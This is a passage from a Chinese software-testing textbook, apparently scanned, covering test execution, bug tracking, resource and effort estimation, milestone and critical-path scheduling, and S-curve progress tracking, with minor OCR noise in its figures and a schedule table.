在 测试 脚本 的 开发 过 程 中 ,不 仅 按照 严格 的 开发 流程 进行 管理 ,加 强 脚本 的 管理 ,提高 
脚本 的 质量 ,包括 脚本 可 重用 性 和 可 维护 性 ,而 且 测 试 脚本 不 能 偏离 测试 需求 ,和 测试 用 例 
保持 一 致 ,切实 达到 测试 的 目标 。 测 试 脚本 的 开发 依赖 于 良好 的 开发 环境 和 开发 框架 ,而 且 
构造 良好 的 自动 化 测试 体系 ,以 数据 驱动 脚本 和 关键 字 驱 动 脚本 为 主导 ,以 建立 对 象 库 和 关 
键 字 函 数 库 为 基础 ,提高 测试 脚本 的 开发 效率 ,降低 脚本 维护 的 成 本 。 


17.3.7 测试 执行 


当 测 试用 例 的 设计 和 测试 脚本 的 开发 完成 之 后 ,就 开始 严格 按照 测试 用 例 执 行 手工 测 
试 ,或 者 运行 测试 脚本 进行 自动 化 测试 ,完成 相应 的 测试 任务 。 自 动 化 测试 的 管理 相对 比较 
容易 ,测试 工具 会 不 打折 扣 地 、 百 分 之 百 地 执行 所 有 的 测试 脚本 ,并 能 准确 无 误 地 自动 记录 
下 测试 结果 。 而 对 手工 测试 的 管理 相对 要 复杂 得 多 ,在 整个 测试 执行 阶段 中 ,管理 上 会 碰 到 
一 系列 问题 ,主要 有 : 

。 如 何 确保 测试 环境 设置 正确 并 满足 测试 用 例 所 描述 的 要 求 ? 

。 如 何 保证 每 个 测试 人 员 清楚 自己 的 测试 任务 ? 

。 如 何 保证 所 有 测试 用 例 得 到 百分之百 的 执行 ? 

。 如 何 保证 所 报告 的 Bug 正确 描述 清楚 、 没 有 漏 掉 信息 ? 

。 如 何在 验证 Bug 和 对 新 功能 的 测试 上 寻找 平衡 ? 

”如 何 跟踪 Bug 处 理 的 进度 使 严重 的 Bug 及 时 得 到 解决 ? 

1. 不 同 测试 阶段 的 执行 要 点 

要 对 每 个 测试 阶段 (代码 审查 .单元 测试 .集成 测试 .功能 测试 .系统 测试 和 验收 测试 . 安 
装 测试 等 ) 的 结果 进行 分 析 , 保 证 每 个 阶段 的 测试 任务 得 到 执行 ,达到 阶段 性 的 目标 。 

(1) 代码 审查 ,确保 测试 人 员 参 与 代码 的 会 审 , 事 先 有 所 准备 ,充分 阅读 待 审 的 程序 设 
计 流 程 图 和 程序 代码 等 ,在 评审 会 议 上 ,勇于 质疑 ,积极 提问 ,努力 发 现 程序 代码 中 的 错误 。 

(2) 单元 测试 一 般 由 程序 员 自 己 做 ,但 必须 提交 单元 测试 用 例 和 测试 报告 ,测试 人 员 需 
要 审查 单元 测试 用 例 和 测试 报告 。 

(3) 集成 测试 应 尽早 进行 持续 进行 ,将 自 顶 向 下 、 自 底 向 上 两 种 测试 策略 结合 起 来 , 彻 
底 完 成 模块 之 间 各 个 接口 的 测试 。 

(4) 功能 测试 的 目的 是 检验 系统 是 否 能 够 按 预定 要 求 的 功能 那样 正常 工作 ,可 以 让 不 
同 的 测试 人 员 进行 交叉 测试 ,提高 测试 质量 ; 而 且 向 测试 人 员 经 常 强调 : 从 用 户 的 角度 出 
发 ,尽量 挖掘 和 模拟 各 种 使 用 情景 ,找到 一 些 特殊 场合 或 边界 条 件 的 缺陷 。 

(5) 系统 测试 执行 时 ,主要 是 对 测试 方案 、 测 试 工具 选择 提出 更 多 的 指导 和 讨论 ,保证 
技术 方案 可 行 、 测 试 工具 有 效 ,并 对 测试 环境 进行 严格 核查 ,确保 测试 环境 和 将 来 实际 运行 
环境 一 致 ,确保 测试 结果 是 可 靠 的 。 

(6) 软件 是 否 真 正 满足 最 终 用 户 的 要 求 ,应 由 用 户 进行 一 系列 验收 测试 或 Beta 测试 ， 
在 实际 应 用 环境 中 得 到 进一步 的 检验 ,获得 用 户 的 真实 反馈 ,更 好 地 改进 产品 。 用 户 的 反馈 


非常 有 价值 ,所 以 要 高 度 重视 验收 测试 或 Beta 测试 。 

2. 测试 用 例 执行 

测试 用 例 执 行 直 接 关 系 到 测试 的 效率 和 产品 的 质量 ,要 做 好 相应 的 执行 工作 。 首 先 , 要 
努力 提高 测试 人 员 素 质 和 责任 心 ,树立 良好 的 质量 文化 意识 ,以 预防 为 主 。 其 次 ,要 通过 一 
定 的 跟踪 手段 来 保证 测试 执行 的 质量 。 例 如 ,测试 效率 的 跟踪 比较 容易 ,按照 测试 任务 和 测 
试 周期 ,可 以 得 到 期 望 的 曲线 ,然后 每 天 检查 测试 结果 ,了 解 是 否 按 预 期 进度 进行 , 见 图 17-2 
所 示 的 测试 执行 情况 的 跟踪 曲线 。 


一 期望值 
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图 17-2 测试 执行 情况 的 跟踪 曲线 


测试 结果 的 跟踪 相对 困难 些 , 需 要 控制 好 风险 。 可 以 通过 系统 记录 每 个 人 所 执行 的 测 
试用 例 , 一 旦 某 个 Bug 被 漏 掉 , 可 以 追溯 到 具体 责任 人 。 事 后 发 现 问题 ,已 经 太 迟 了 ,这 时 
可 以 考虑 针对 风险 较 大 的 任务 ,在 第 2 轮 测 试 时 ,交换 测试 人 员 以 加 强风 险 的 控制 。 另 外 ， 
每 个 项 目 都 让 项 目 之 外 的 几 个 经 验 丰 富 的 测试 人 员 进行 2 一 3 天 的 随机 测试 (ad-hoc test), 
对 前 面 测试 产生 比较 大 的 压力 ,使 每 个 测试 人 员 都 不 敢 松懈 

3. Bug 的 跟踪 和 管理 

无 论 是 通过 什么 样 的 系统 ,都 需要 建立 良好 的 规则 和 流程 来 有 效 管理 Bug, 主 要 有 : 

(1) 设计 好 每 个 Bug 应 该 包含 的 信息 条 目 ,状态 分 类 等 ; 

(2) 通过 系统 自动 发 出 邮件 给 相应 的 开发 人 员 和 测试 人 员 ,使 得 任何 Bug 都 不 会 错过 ， 
并 能 得 到 及 时 处 理 ; 

G) 通过 日 报 、 周 报 等 各 类 报告 来 跟踪 项 目的 当前 状态 ; 

(4) 在 各 个 大 小 里 程 碑 之 前 ,召开 有 关 人 员 的 会 议 , 对 Bug 进行 集体 会 审 ; 

(5) 通过 缺陷 时 间 曲 线 等 进行 趋势 分 析 , 更 好 地 控制 .调整 项 目 。 

4. 和 项 目 组 外 部 人 员 的 沟通 

为 了 使 测试 进展 顺利 ,与 项 目 组 外 部 人 员 的 良好 沟通 是 必要 的 ,促进 问题 解决 ,提高 缺 
陷 处 理 的 效率 ,还 有 一 些 值得 推荐 的 方法 ,例如 : 

。 通过 一 种 合适 的 、 可 接受 的 方式 指出 对 方 的 问题 ,尽量 做 到 对 事 不 对 人 。 

。 每 周一 次 各 部 门 的 联席 会 议 , 协 调 工 作 , 解 决 难题 ,并 向 相关 人 员 发 送 会 议 纪要 。 


建立 大 项 目的 邮件 组 ,包含 各 部 门 主要 人 员 的 邮件 地 址 ,有 利于 发 布 消息 和 信息 沟 
通 等。 
。 讨 论 问题 时 ,不 宜 采 用 邮件 方式 ,应 通过 电话 .面对面 等 方式 沟通 。 
可 以 利用 Wiki 和 其 他 系统 来 共享 知识 ,分享 经 验 .发布 通知 等 。 
在 同一 个 大 项 目 组 的 开发 .测试 人 员 的 日 报 、 周 报 等 应 互相 抄 送 。 

， 适 当 举 办 一 些 团 队 的 活动 ,增加 项 目 组 成 员 相 互 了 解 ,增强 团队 精神 。 

5. 测试 执行 结束 

在 测试 执行 结束 前 ,要 对 测试 项 目 进行 全 过 程 .全 方位 的 审视 ,检查 测试 计划 ,测试 用 例 
是 否 得 到 执行 ,检查 测试 是 否 有 漏洞 。 如 果 存在 测试 漏洞 ,应 及 时 补救 。 而 且 , 对 当前 状态 
的 审查 ,包括 产品 Bug 和 过 程 中 没 解决 的 各 类 问题 。 对 产品 目前 存在 的 缺陷 进行 逐个 的 分 
析 , 了 解 对 产品 质量 影响 的 程度 ,从 而 决定 产品 的 测试 能 否 告 一 段落 。 如 果 所 有 测试 内 容 完 
成 .测试 的 覆盖 率 达到 要 求 以 及 产品 质量 达到 已 定义 的 标准 ,可 以 宣告 测试 执行 结束 。 

测试 执行 任务 完成 ,并 不 意味 着 测试 项 目的 结束 ,还 需要 对 测试 结果 分 析 、 对 产品 质量 
进行 评估 ,编制 测试 报告 或 质量 报告 ,而 且 测 试 报告 应 获得 上 级 经 理 的 批准 。 此 后 ,项 目 组 
成 员 一 起 对 项 目 进行 总 结 ( 即 Postmortem) ,分 析 项 目的 成 功 经 验 ,并 通过 对 项 目 中 的 问题 
进行 分 析 , 找 出 根本 原因 ,纠正 流程 .技术 或 管理 中 所 存在 的 问题 ,改进 测试 过 程 。 


17.4 测试 项 目的 资源 管理 


软件 测试 项 目的 资源 管理 是 一 项 最 基本 的 内 容 , 项 目的 完成 依赖 于 必要 的 资源 ,“ 巧 妇 
难 作 无 米 之 炊 ”, 没 有 资源 就 无 法 去 做 事情 。 如 果 资 源 不 够 充分 ,项 目 能 进行 下 去 ,但 不 能 及 
时 完成 任务 。 资 源 的 管理 目的 不 仅 要 保证 测试 项 目 要 有 足够 的 资源 ,同时 ,能 充分 有 效 地 利 
用 现 有 资源 ,进行 资源 的 优化 组 合 ,避免 资源 浪费 。 

测试 项 目的 资源 ,主要 分 为 人 力 资源 、 系 统 资源 (硬件 和 软件 资源 ) 以 及 环境 资源 。 每 一 
类 资源 都 由 4 个 特征 来 说 明 : 资源 描述 、 可 用 性 说 明 、 需 要 该 资源 的 时 间 以 及 该 资源 被 使 用 
的 持续 时 间 。 后 两 个 特征 可 以 看 成 是 时 间 窗 口 ,对 于 一 个 特定 的 窗口 而 言 ,资源 的 可 用 性 必 
须 在 开发 的 最 初期 就 建立 起 来 。 

在 进行 项 目 计 划 时 , 就 要 确定 资源 需求 ,其 中 关键 是 人 力 资源 需求 ,而 人 力 资源 需求 依 
赖 于 对 测试 范围 和 工作 量 的 估算 。 估 算 技 术 主 要 有 经 验 估算 法 或 专家 评估 法 、 对 比分 析 法 、 
工作 任务 分 解 方 法 和 数学 建 模 方法 等 。 通 过 比较 ,调整 使 用 不 同 技术 导出 的 估算 值 ,计划 者 
更 有 可 能 得 到 精确 的 估算 。 软 件 项 目 估算 永远 不 会 是 一 门 精确 的 科学 ,但 将 良好 的 历史 数 
据 与 系统 化 的 技术 结合 起 来 能 够 提高 估算 的 精确 度 。 

1. 工作 量 的 估计 

工作 量 的 估计 是 比较 复杂 的 ,针对 不 同 的 应 用 领域 程序 设计 技术 、 编 程 语言 等 ,其 估算 
方法 是 不 同 的 ,包括 经 验 法 、 历 史 对 比 法 ,构造 性 成 本 模型 (COCOMO) 法 、 多 因素 估算 模型 
法 、 用 例 估算 模型 等 ,并 基于 一 些 假定 而 获得 最 终 的 估算 结果 ,例如 假定 测试 效率 一 定 , 每 人 
每 天 执行 80 条 测试 用 例 。 应 用 的 复杂 度 和 需求 变化 的 频繁 程度 会 影响 工作 量 , 对 不 同 的 阶 
段 也 要 分 别 估算 其 工作 量 ,包括 需求 评审 、 测 试用 例 设计 ,测试 执行 等 工作 量 估 算 方法 也 是 


不 一 样 的 。 
2. 人 力 资源 管理 


在 完成 了 测试 工作 量 估算 之 后 就 能 够 基本 确定 一 个 软件 测试 项 目 所 需 的 人 员 数 量 , 并 
写 入 测试 计划 中 。 但 是 ,仅仅 知道 人 员 数 量 是 不 够 的 ,因为 软件 测试 项 目 所 需 的 人 员 和 要 求 
在 各 个 阶段 是 不 同 的 。 

(1) 在 初期 ,也 许 只 要 测试 组 长 介入 进去 ,为 测试 项 目 提供 总 体 方向 ,制定 初步 的 测试 
计划 ,申请 系统 资源 。 

(2) 在 测试 前 期 ,需要 一 些 资深 的 测试 人 员 , 详 细 了 解 项 目 所 涉及 的 业务 和 技术 ,分 析 
和 评估 测试 需求 ,设计 测试 用 例 . 开 发 测试 脚本 。 

(3) 在 测试 中 期 ,主要 是 测试 执行 。 如 果 测试 自动 化 程度 高 ,人 力 的 投入 没有 明显 的 增 
加 ; 如 果 测试 自动 化 程度 低 ,需要 比较 多 的 执行 人 员 , 他 们 也 需要 事先 做 好 一 定 的 准备 。 

(4) 在 测试 后 期 ,资深 的 测试 人 员 可 以 抽出 部 分 时 间 去 准备 新 的 项 目 。 

从 经 验 看 ,人 力 资 源 的 管理 难度 主要 有 三 个 方面 : 

。 资 源 需 求 的 估计 ,依赖 于 工作 量 的 估计 和 每 个 工程 师 的 能 力 评估 ; 

。 资 源 的 应 急 处 理 , 预 留 10% 的 资源 作为 人 力 储备 (Buffer); 

。 资 源 的 阶段 间或 多 个 项 目 间 的 平衡 艺术 。 

3. 测试 环境 资源 

把 建立 测试 环境 所 需要 的 各 种 软 硬 件 资源 等 合 称 为 测试 环境 资源 ,其 中 硬件 是 支持 操 
作 系统 、 应 用 系统 和 测试 工具 等 运行 的 基本 平台 ,软件 资源 包括 操作 系统 ,第 三 方 软件 产品 、 
测试 工具 软件 等 。 资 源 可 能 需要 采购 ,这 就 要 求 尽早 开始 实施 ,有 足够 时 间 完 成 采购 流程 
并 进行 系统 的 安装 ,配置 和 调试 。 如 果 需 要 对 系统 的 服务 器 端 和 客户 端 都 要 进行 测试 , 则 要 
分 别 设置 不 同 的 测试 环境 。 如 果 预 算 允 许 的 话 ,应 设置 一 套 备份 的 测试 环境 ,最 大 程度 地 减 
少 环境 问题 对 测试 进度 的 影响 。 


17.5 测试 项 目的 进度 管理 


项 目的 进度 管理 是 一 门 艺术 ,是 一 个 动态 的 过 程 , 需 要 不 断 调度 ,协调 ,保证 项 目的 均衡 
发 展 ,实现 项 目 整体 的 动态 平衡 。 在 项 目 进度 的 管理 过 程 中 ,项 目的 实施 与 项 目的 计划 是 互 
动 的 。 

项 目 开 始 前 的 计划 ,对 任务 的 测试 需求 有 一 个 大 体 的 认识 ,但 深度 不 够 ,进度 表 可 能 只 
是 一 个 时 间 上 的 框架 ,其 中 一 定 程 度 上 是 靠 计划 制定 者 的 经 验 来 把 握 的 。 随 着 时 间 的 推移 、 
测试 的 不 断 深入 ,对 任务 会 有 进一步 的 认识 ,对 很 多 问题 都 不 再 停留 在 比较 粗 的 估算 上 ,项 
目 进 度 表 会 变 得 越 来 越 详细 、 准 确 。 

项 目的 进度 管理 主要 通过 里 程 碑 ,关键 路 径 的 控制 并 借助 工具 来 实现 ,同时 充分 了 解 进 
度 的 数量 和 质量 的 双重 特性 ,把 握 好 进度 与 质量 .成 本 的 关系 。 


17.5.1 测试 项 目的 里 程 碑 和 关键 路 径 
在 软件 测试 项 目的 计划 书 中 ,都 会 制定 一 个 明确 的 日 程 进度 表 。 如 何 对 项 目 进行 阶段 


划分 .如何 控 制 进度 ,如何 控制 风险 等 有 一 系列 方法 ,但 最 成 熟 的 技术 是 里 程 碑 管 理 和 关键 
路 径 的 控制 。 
1. 里 程 碑 (Milestone) 的 定义 和 控制 
里 程 碑 是 项 目 中 完成 阶段 性 工作 的 标志 ,即将 一 个 过 程 性 的 任务 用 一 个 结论 性 的 标志 
来 描述 任务 结束 的 .明确 的 起 止 点 ,一 系列 的 起 止 点 就 构成 引导 整个 项 目 进 展 的 里 程 碑 
(Milestone) 。 一 个 里 程 碑 标 志 着 上 一 个 阶段 结束 ,下 一 个 阶段 开始 ,也 就 是 定义 当前 阶段 
完成 的 标准 (Exit Criteria) 和 下 个 阶段 启动 的 条 件 或 前 提 (Entry Criteria) 。 里 程 碑 还 有 下 
列 特征 : 
。 里程 碑 也 是 有 层次 的 ,在 一 个 父 里 程 碑 内 可 以 定义 多 个 子 里 程 碑 ; 
。 不 同类 型 的 项 目 , 可 能 设置 不 同类 型 或 不 同 数量 的 里 程 碑 ; 
。 不 同 规模 项 目的 里 程 碑 , 其 数量 多 少 不 一 样 ,里 程 碑 可 以 合并 或 分 解 。 
在 软件 测试 周期 中 ,建议 定义 6 个 父 里 程 碑 、 十 几 个 子 里 程 碑 : 
M1: 需求 分 析 和 设计 的 审查 
M11; 市 场 /产品 需求 审查 
M12: 产品 规格 说 明 书 的 审查 
M13: 产品 和 技术 知识 传递 
M14: 系统 /程序 设计 的 审查 
M2: 测试 计划 和 设计 
M21: 测试 计划 的 制定 
M22, 测试 计划 的 审查 
M23: 测试 用 例 的 设计 
M24: 测试 用 例 的 审查 
M25: 测试 工具 的 设计 和 选择 
M26: 测试 脚本 的 开发 
M3: 代码 (包括 单元 测试 ) 完 成 
M4: 测试 执行 
M41: 集成 测试 完成 
M42, 功能 测试 完成 
M43: 系统 测试 完成 
M44: 验收 测试 完成 
M45: 安装 测试 完成 
M5: 代码 冻结 
M6; 测试 结束 
M61; 为 产品 发 布 进行 最 后 一 轮 测试 
M62: 写 测试 和 质量 报告 
对 每 个 子 里 程 碑 ,如 果 需 要 更 加 严格 的 控制 ,还 可 以 定义 更 细 的 里 程 碑 , 见 表 17-1. 
在 一 个 里 程 碑 到 来 之 前 ,要 进行 检查 ,了 解 状 态 以 确定 是 否 能 在 预期 的 时 间 达 到 里 程 碑 
完成 的 标准 。 如 果 存 在 较 大 差距 ,就 要 采取 措施 ,争取 达到 里 程 碑 的 标准 ,即使 不 能 ,也 要 尽 
量 减 少 这 种 差距 。 而 每 到 一 个 里 程 碑 , 必 须 严 格 检 查实 际 完 成 的 情况 是 否 符合 已 定义 的 标 
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准 ,应 及 时 对 前 一 阶段 的 测试 工作 进行 小 结 。 如 果 必 要 ,应 对 后 续 测 试 工作 计划 进行 调整 ， 
如 增加 资源 、 延 长 下 一 个 里 程 碑 的 时 间 , 以 实现 下 一 个 里 程 碑 的 目标 。 

在 项 目 管理 进度 跟踪 的 过 程 中 ,给 予 里 程 碑 事 件 足够 的 重视 ,往往 可 以 起 到 事半功倍 的 
效用 ,只 要 能 保证 里 程 碑 事 件 的 按时 完成 ,整个 项 目的 进度 也 就 有 了 保障 。 根 据 里 程 碑 就 比 


较 容易 确定 软件 测试 进度 表 , 表 17-1 是 一 个 测试 项 目 进 度 表 的 例子 。 
表 17-1 软件 测试 进度 表 例 子 
任务 天 任务 天 任务 天 任务 天 
M21: 测试 计划 制定 | 11 | M23: 测试 用 例 的 设计 | 12 | 开发 测试 过 程 5 |) 验证 测试 结果 2 
确定 项 目 1 | 测试 用 例 的 设计 7 en 2 | 调查 突 发 结果 h 
定义 测试 策略 2 | 测试 用 例 的 审查 2 | 修改 测试 过 程 2 | 生成 缺陷 日 记 1 
分 析 测 试 需求 3 | 测试 工具 的 选择 1 | 建立 外 部 数据 集 | 1 | M62: 测试 评估 |3 
重新 测试 并 调试 评估 测试 需求 的 
估算 测试 工作 量 1 | 测试 环境 的 设计 2 测试 过 程 2 覆盖 率 1 
确定 测试 资源 1 | M26: 测试 脚本 的 开发 | 15 | M42: 功能 测试 | 9 | 评估 缺陷 0.5 
决定 是 否 达 到 测 
建立 测试 结构 组 织 | 1 | 建立 测试 开发 环境 1 | 设置 测试 系统 i! 试 完成 的 标准 0.5 
生成 测试 计划 文档 | 2 录制 和 回放 原型 过 程 2 | 执行 测试 4 | 测试 报告 1 
2. 项 目的 关键 路 径 


每 个 项 目 可 以 事先 根据 各 项 任务 的 工作 量 估计 资源 条 件 限 制 和 日 程 安排 ,确定 一 条 关 
键 路 径 。 关 键 路 径 是 一 系列 能 够 确定 计算 出 项 目 完成 日 期 的 、 任 务 构成 的 日 程 安排 线索 ,也 
就 是 说 , 当 关 键 路 径 上 的 最 后 一 个 任务 完成 时 ,整个 项 目 也 就 随 之 完成 了 ; 或 者 说 ,关键 路 
径 上 的 任何 一 项 任务 延迟 ,整个 项 目 就 会 延期 。 为 了 确保 项 目 如 期 完成 ,应 该 密切 关注 关键 
路 径 上 的 任务 和 为 其 分 配 的 资源 ,这 些 要 素 将 决定 项 目 能 否 准时 完成 。 

关键 路 径 法 (CPM) 是 国际 上 公认 的 项 目 进 度 管理 办 法 ,其 计算 方法 简单 ,许多 项 目 管 
理工 具 , 如 Microsoft Project, 可 以 自动 计算 关键 路 径 。 随 着 项 目的 实施 、 进 行 的 过 程 中 , 关 
键 路 径 可 能 由 于 某 些 当前 关键 路 径 上 的 任务 的 变化 (延迟 ) 而 变化 ,产生 新 的 关键 路 径 , 所 以 
关键 路 径 也 是 动态 的 ,但 这 种 动态 性 要 控制 在 最 小 范围 内 。 关 键 路 径 的 这 种 变化 可 能 导致 
原来 不 在 关键 路 径 上 的 任务 成 为 关键 路 径 的 必 经 之 路 ,因此 ,作为 测试 组 长 或 项 目 经 理 需 要 
随时 关注 项 目 进 展 ,跟踪 项 目的 最 新 计划 ,确保 及 时 完成 关键 路 径 上 的 任务 。 


17.5.2 测试 项 目 进 度 的 特性 及 外 在 关系 


任何 一 项 工作 ,开始 阶段 的 进展 总 是 很 容易 看 到 ,例如 盖 房 子 , 从 无 到 有 ,变化 是 很 明显 
的 。 可 是 越 到 后 来 , 它 的 进度 越 来 越 不 明显 。 软 件 测 试 也 是 如 此 ,开始 测试 之 初 ,Bug 比较 
容易 发 现 , 但 测试 的 进展 并 不 是 按 Bug 的 数量 来 计算 的 , 越 到 后 面 ,Bug 越 来 越 难 发 现 。 要 
提高 测试 进度 的 质量 ,将 严重 的 ,关键 的 问题 在 第 一 时 间 发 现 出 来 ,这 样 才 不 至 于 在 最 后 阶 
段 使 得 开发 人 员 要 对 代码 做 大 规模 的 变动 ,无 法 保证 测试 的 时 间 ,从 而 影响 软件 的 质量 。 这 
就 是 测试 项 目 进度 的 数量 和 质量 的 双重 特性 ,在 关注 进度 的 同时 要 把 握 好 这 两 个 特性 ,在 注 


重 进 度 速度 的 同时 ,还 要 看 进度 前 期 的 质量 。 
假设 有 一 个 10 天 的 测试 项 目 ,在 这 个 项 目 中 — 缺陷 数量 
测试 工程 师 实际 发 现 了 60 个 Bug ,其 Bug 数量 的 
日 期 分 布 应 该 呈 渐 渐 回落 之 势 , 即 一 开始 发 现 的 20 
Bug 最 多 , 随 着 时 间 的 推移 ,发 现 的 Bug 应 该 越 来 15 
越 少 ,到 最 后 2 一 3 天 应 该 不 再 报告 新 的 Bug, 而 '° 
只 是 验证 已 被 改正 的 Bug. 如 图 17-3 R. ME 1 ， i l ; 
的 话 ,问题 的 难度 也 应 该 是 呈 降 序 排列 的 ,尽早 发 < 
现 最 不 易 解决 的 问题 ,因为 在 解决 这 些 问题 的 时 图 17-3 测试 项 目 进度 的 特性 图 
候 , 往 往 会 产生 新 的 Bug, 及 早报 告 ,有 利于 更 好 地 解决 问题 。 当 然 ,在 做 具体 项 目的 时 候 ,有 
一 定 的 难度 ,不 容易 保证 完全 做 到 这 样 ,这 与 测试 工程 师 本 身 的 技能 和 经 验 也 是 很 有 关系 的 。 
1. 进度 与 质量 关系 


测试 项 目 管理 的 基本 原则 是 在 预算 内 、 满 足 质量 的 前 提 下 ,保证 按时 完成 项 目 。 因 此 ， 
可 以 看 到 ,一 定 程度 上 进度 与 质量 存在 矛盾 关系 ,有 时 要 保证 质量 ,进度 就 必须 放 慢 ,有 足够 
的 时 间 进 行 测试 ; 有 时 要 保证 进度 ,质量 就 受到 一 定 影 响 或 带 来 更 大 的 风险 。 如 何 处 理 质 
量 与 进度 的 关系 ? 我 们 认为 ,质量 是 第 一 位 的 ,保证 质量 是 前 提 , 然 后 考虑 资源 的 调度 和 进 
度 的 调整 。 

首先 ,尽量 利用 历史 数据 ,从 以 前 完成 过 的 项 目 来 进行 类 比分 析 , 以 确定 质量 和 进度 所 
存在 的 某 种 数量 关系 ,来 控制 进度 和 管理 质量 。 

其 次 ,可 以 采用 对 进度 管理 计划 添加 质量 参数 的 方法 ,也 就 是 通过 参数 调整 进度 和 质量 
的 关系 。 这 一 做 法 的 前 提 是 要 有 一 定 的 历史 数据 。 例 如 ,从 历史 数据 中 得 知 ,完成 子 项 目的 
时 间 是 5 天 ,测试 后 有 15 个 问题 ; 完成 同样 项 目的 时 间 是 7 天 ,测试 后 有 10 个 问题 ; 完成 
同样 项 目的 时 间 是 8 天 ,测试 后 有 5 个 问题 ,以 此 类 推 。 

随 着 数据 的 不 断 增多 ,采用 两 维 坐标 图 ,就 会 得 到 一 些 离散 的 点 (不 考虑 资源 的 差异 )， 
并 形成 一 条 曲线 ,如 图 17-4 所 示 。 考 虑 项 目 允 许 的 质量 范围 ,对 照 图 中 的 数据 , 找 出 相应 的 
参数 。 根 据 得 到 的 参数 ,确定 一 个 合适 的 进度 计划 。 

一 一 质量 参数 
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图 17-4 通过 参数 调整 进度 和 质量 的 关系 


2, 进度 与 成 本 的 关系 
在 项 目 管理 水 平 不 够 高 的 情况 下 ,经常 出 现 进度 一 直 拖 后 ,成 本 (人 力 资源 Xx 时 间 ) 却 居 


高 不 下 ,这 就 要 求 测试 项 目 管理 人 员 提 高 测试 项 目 中 进度 与 成 本 关系 的 控制 水 平 。 由 于 软 
件 测试 项 目 受 规格 说 明 书 修改 .设计 修改 .代码 修改 等 影响 比较 大 ,开发 .设计 发 生 一 些 改 
变 ,可 能 开发 方面 只 要 花 很 少 的 时 间 和 人 力 资源 ,但 测试 方面 不 仅 要 验证 修改 的 地 方 ,还 有 
进行 相关 的 回归 测试 ,测试 的 工作 量 要 大 得 多 。 如 果 再 得 不 到 足够 信息 或 系统 过 于 复杂 , 手 
工 测试 的 成 本 就 更 大 。 

还 要 指出 的 一 点 是 ,要 对 学 习 曲 线 有 深刻 地 认识 。 在 软件 开发 过 程 中 ,学 习 曲 线 
(learning curve) 有 很 大 的 用 途 。 通 常情 况 下 ,在 开发 与 上 一 个 相似 或 同类 型 的 新 软件 项 目 
后 ,会 比 上 一 次 节省 15%~20% 的 时 间 。 


17.5.3 测试 项 目 进 度 的 管理 方法 和 工具 


在 软件 测试 管理 中 最 重要 、 最 基本 的 就 是 测试 进度 跟踪 。 众 所 周知 ,在 进度 压力 之 下 ， 
被 压缩 的 时 间 通 常 是 测试 时 间 ,容易 导致 实际 的 进度 随 着 时 间 的 推移 ,与 最 初 制定 的 计划 相 
差 越 来 越 远 。 如 果 有 了 正式 的 度量 方法 ,这 种 情况 就 能 够 避免 ,因为 在 其 出 现 之 前 就 有 可 能 
采取 了 行动 。 下 面 就 介绍 两 个 测试 项 目 进 度 的 管理 方法 : 测试 进度 S 曲线 法 和 缺陷 跟踪 曲 
线 法 。 缺 陷 跟 踪 又 可 以 分 为 新 发 现 缺陷 跟踪 法 和 累计 缺陷 跟踪 法 ,而 以 累计 缺陷 跟踪 法 比 
较 好 。 关 于 缺陷 跟踪 趋势 图 ,前面 已 有 介绍 ,这 里 主要 讨论 它 在 进度 管理 中 的 应 用 。 

1. 测试 进度 S 曲线 法 

进度 S 曲线 法 通过 对 计划 中 的 进度 .尝试 的 进度 与 实际 的 进度 三 者 的 对 比 来 实现 的 ,其 
采用 的 基本 数据 主要 是 测试 用 例 或 测试 点 的 数量 。 同 时 ,这 些 数 据 需 按 周 统计 ,每 周 统计 一 
次 ,反映 在 图 表 中 。“S” 的 意思 是 , 随 着 时 间 的 发 展 ,积累 的 数据 的 形状 越 来 越 像 S 形 。 可 
以 看 到 一 般 的 测试 过 程 中 包含 三 个 阶段 : 初始 阶段 ,紧张 阶段 和 成 熟 阶 段 , 第 一 和 第 三 个 阶 
段 所 执行 的 测试 数量 (强度 ) 远 小 于 中 间 的 第 二 个 阶段 ,由 此 导致 曲线 的 形状 像 一 个 扁 扁 
的 S。 

X 轴 代 表 时 间 单 位 (推荐 以 “ 周 ” 为 单位 ),Y 轴 代表 当前 累计 的 测试 用 例 或 者 测试 点 数 
量 , 如 图 17-5 所 示 , 可 以 看 到 : 

(1) 用 趋势 曲线 (上 方 实 线 ) 代 表 计 划 中 的 测试 用 例 数量 ,该 曲线 是 在 形成 了 测试 计划 
之 后 ,在 实际 测试 执行 之 前 事先 画 上 的 。 
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图 17-5 计划 中 的 、 尝 试 的 与 实际 的 进度 曲线 图 


(2) 测试 开始 时 ,图 上 只 有 计划 曲线 。 此 后 ,每 周 添加 两 条 柱状 数据 , 浅 色 柱状 数据 代 
表 当 前 周 为 止 累计 尝试 执行 的 测试 用 例 数 , 深 色 柱 状 数据 为 当前 周 为 止 累 计 实际 执行 的 测 
试用 例 数 。 

(3) 在 测试 快速 增长 期 (紧张 阶段 ) ,尝试 执行 的 测试 用 例 数 略 高 于 原 计 划 ,而 成 熟 阶段 
执行 的 用 例 数 则 略 低 于 原 计 划 ,这 种 情况 是 经 常 出 现 的 。 

由 于 测试 用 例 的 重要 程度 有 所 不 同 ,因此 ,在 实际 测试 中 经 常会 给 测试 用 例 加 上 权重 
(test scores) 。 使 用 加 权 归 一 化 (normalized) 使 得 S 曲线 更 为 准确 地 反映 测试 进度 (这 样 Y 
轴 数 据 就 是 测试 用 例 的 加 权 数 量 ) ,加 权 后 的 测试 用 例 数 通 常 称 为 测试 点 (testpoint) 。 

一 旦 一 个 严格 的 计划 曲线 放 在 项 目 组 前 , 它 将 成 为 奋斗 的 动力 ,整个 小 组 的 视线 都 开始 
关注 计划 ,尝试 与 执行 之 间 的 偏差 。 由 此 ,严格 的 评估 是 S 曲线 的 成 功 的 基本 保证 ,例如 ,人 
力 是 否 足够 ,测试 用 例 之 间 是 否 存 在 相关 性 等 。 一 般 而 言 ,在 计划 或 者 尝试 数 与 实际 执行 数 
之 间 存 在 15% ~~20% 的 偏差 就 需要 启动 应 急行 动 来 进行 弥补 了 。 

一 旦 计划 曲线 被 设 定 ,任何 对 计划 的 变更 都 必须 经 过 审查 (review)。 自 然 ,需要 严格 的 
程序 规范 ,否则 计划 成 了 变化 , 如同 儿 戏 。 同 时 ,一 般 而 言 ,最 初 的 计划 应 作为 基准 
(baseline) ,即使 计划 作 了 变更 ,也 留 作 参 考 。 该 曲线 与 后 来 的 计划 曲线 的 对 比 显现 的 不 同 
之 处 需要 给 出 详尽 的 理由 作为 说 明 , 同 时 也 是 此 后 制定 计划 的 经 验 来 源 之 一 。 

2. 测试 进度 NOB 曲线 法 

